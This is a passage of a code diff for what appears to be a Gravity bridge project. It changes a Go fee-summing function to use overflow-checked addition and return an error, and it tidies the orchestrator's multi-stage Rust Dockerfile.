+++ b/module/x/gravity/types/types.go @@ -123,10 +123,15 @@ func NewSignerSetTx(nonce, height uint64, members EthereumSigners) *SignerSetTx } // GetFees returns the total fees contained within a given batch -func (b BatchTx) GetFees() sdk.Int { +// NOTE: Just a sanity check to ensure no halting occurs after a previous bugfix. +func (b BatchTx) GetFees() (sdk.Int, error) { sum := sdk.ZeroInt() for _, t := range b.Transactions { - sum.Add(t.Erc20Fee.Amount) + newSum, err := sum.SafeAdd(t.Erc20Fee.Amount) + if err != nil { + return sdk.Int{}, err + } + sum = newSum } - return sum + return sum, nil } diff --git a/orchestrator/Dockerfile b/orchestrator/Dockerfile index 4964fd074..6f7a648cf 100644 --- a/orchestrator/Dockerfile +++ b/orchestrator/Dockerfile @@ -1,10 +1,10 @@ # Reference: https://www.lpalmieri.com/posts/fast-rust-docker-builds/ -FROM rust:1.74 as cargo-chef-rust -RUN cargo install cargo-chef --version 0.1.62 +FROM rust:1.74 AS cargo-chef-rust +RUN cargo install cargo-chef --version 0.1.62 --locked -FROM cargo-chef-rust as planner -WORKDIR app +FROM cargo-chef-rust AS planner +WORKDIR /app # We only pay the installation cost once, # it will be cached from the second build onwards # To ensure a reproducible build consider pinning @@ -12,20 +12,20 @@ WORKDIR app COPY . . RUN cargo chef prepare --recipe-path recipe.json -FROM cargo-chef-rust as cacher -WORKDIR app +FROM cargo-chef-rust AS cacher +WORKDIR /app COPY --from=planner /app/recipe.json recipe.json RUN cargo chef cook --release --recipe-path recipe.json -FROM cargo-chef-rust as builder -WORKDIR app +FROM cargo-chef-rust AS builder +WORKDIR /app COPY . . # Copy over the cached dependencies COPY --from=cacher /app/target target COPY --from=cacher /usr/local/cargo /usr/local/cargo RUN cargo build --release --bin gorc -FROM cargo-chef-rust as runtime -WORKDIR app +FROM cargo-chef-rust AS runtime +WORKDIR /app COPY --from=builder /app/target/release/gorc /usr/local/bin CMD gorc